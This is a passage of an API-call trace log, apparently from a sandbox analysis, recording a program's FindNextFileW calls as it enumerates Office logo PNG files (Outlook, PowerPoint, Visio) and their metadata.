ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa86, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.scale-100.png", cAlternateFileName="OUBE28~1.PNG")) returned 1 [0189.711] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe66, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.scale-140.png", cAlternateFileName="OU7C59~1.PNG")) returned 1 [0189.711] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1155, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.scale-180.png", cAlternateFileName="OUC9ED~1.PNG")) returned 1 [0189.711] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x955, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.scale-80.png", cAlternateFileName="OU52E3~1.PNG")) returned 1 [0189.711] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.contrast-black_scale-100.png", cAlternateFileName="OU0B90~1.PNG")) returned 1 [0189.711] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.contrast-black_scale-140.png", cAlternateFileName="OU396E~1.PNG")) returned 1 [0189.711] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.contrast-black_scale-180.png", cAlternateFileName="OU86F2~1.PNG")) returned 1 [0189.712] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.contrast-black_scale-80.png", cAlternateFileName="OU0B51~1.PNG")) returned 1 [0189.712] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.contrast-white_scale-100.png", cAlternateFileName="OUFC89~1.PNG")) returned 1 [0189.712] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.contrast-white_scale-140.png", cAlternateFileName="OU4A1E~1.PNG")) returned 1 [0189.712] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.contrast-white_scale-180.png", cAlternateFileName="OU78EB~1.PNG")) returned 1 [0189.712] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.contrast-white_scale-80.png", cAlternateFileName="OU8EEC~1.PNG")) returned 1 [0189.712] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.scale-100.png", cAlternateFileName="OU6135~1.PNG")) returned 1 [0189.712] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.scale-140.png", cAlternateFileName="OU6CFB~1.PNG")) returned 1 [0189.712] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a74a04e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.scale-180.png", cAlternateFileName="OU2A2D~1.PNG")) returned 1 [0189.712] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x744, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.scale-80.png", cAlternateFileName="OU72E3~1.PNG")) returned 1 [0189.712] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.contrast-black_scale-100.png", cAlternateFileName="POWERP~3.PNG")) returned 1 [0189.712] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb02, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.contrast-black_scale-140.png", cAlternateFileName="POWERP~1.PNG")) returned 1 [0189.712] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.contrast-black_scale-180.png", cAlternateFileName="POA3C2~1.PNG")) returned 1 [0189.713] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.contrast-black_scale-80.png", cAlternateFileName="POB7FC~1.PNG")) returned 1 [0189.713] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.contrast-white_scale-100.png", cAlternateFileName="PO3D2C~1.PNG")) returned 1 [0189.713] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb61, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.contrast-white_scale-140.png", cAlternateFileName="PO7FFA~1.PNG")) returned 1 [0189.713] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd84, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.contrast-white_scale-180.png", cAlternateFileName="PO2276~1.PNG")) returned 1 [0189.713] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.contrast-white_scale-80.png", cAlternateFileName="POWERP~2.PNG")) returned 1 [0189.713] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.scale-100.png", cAlternateFileName="PO6386~1.PNG")) returned 1 [0189.713] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.scale-140.png", cAlternateFileName="POWERP~4.PNG")) returned 1 [0189.713] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd87, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.scale-180.png", cAlternateFileName="PODF31~1.PNG")) returned 1 [0189.713] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.scale-80.png", cAlternateFileName="PO0348~1.PNG")) returned 1 [0189.713] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x70a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.contrast-black_scale-100.png", cAlternateFileName="PO798C~1.PNG")) returned 1 [0189.713] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x802, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.contrast-black_scale-140.png", cAlternateFileName="PO54A4~1.PNG")) returned 1 [0189.713] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.contrast-black_scale-180.png", cAlternateFileName="PO12D5~1.PNG")) returned 1 [0189.713] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x627, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.contrast-black_scale-80.png", cAlternateFileName="PO605C~1.PNG")) returned 1 [0189.713] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x705, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.contrast-white_scale-100.png", cAlternateFileName="POF730~1.PNG")) returned 1 [0189.714] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.contrast-white_scale-140.png", cAlternateFileName="POD5F0~1.PNG")) returned 1 [0189.714] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.contrast-white_scale-180.png", cAlternateFileName="PO9322~1.PNG")) returned 1 [0189.714] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x63a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.contrast-white_scale-80.png", cAlternateFileName="POB2A2~1.PNG")) returned 1 [0189.714] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x764, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.scale-100.png", cAlternateFileName="PO420E~1.PNG")) returned 1 [0189.714] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x853, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.scale-140.png", cAlternateFileName="PO003F~1.PNG")) returned 1 [0189.714] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.scale-180.png", cAlternateFileName="PO5DB3~1.PNG")) returned 1 [0189.714] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.scale-80.png", cAlternateFileName="PO2503~1.PNG")) returned 1 [0189.714] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x96a, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.contrast-black_scale-100.png", cAlternateFileName="VI0946~1.PNG")) returned 1 [0189.714] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe14, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.contrast-black_scale-140.png", cAlternateFileName="VIC677~1.PNG")) returned 1 [0189.714] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.contrast-black_scale-180.png", cAlternateFileName="VISIOL~3.PNG")) returned 1 [0189.714] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x86e, dwReserved0=0x0, dwReserved1=0x0, 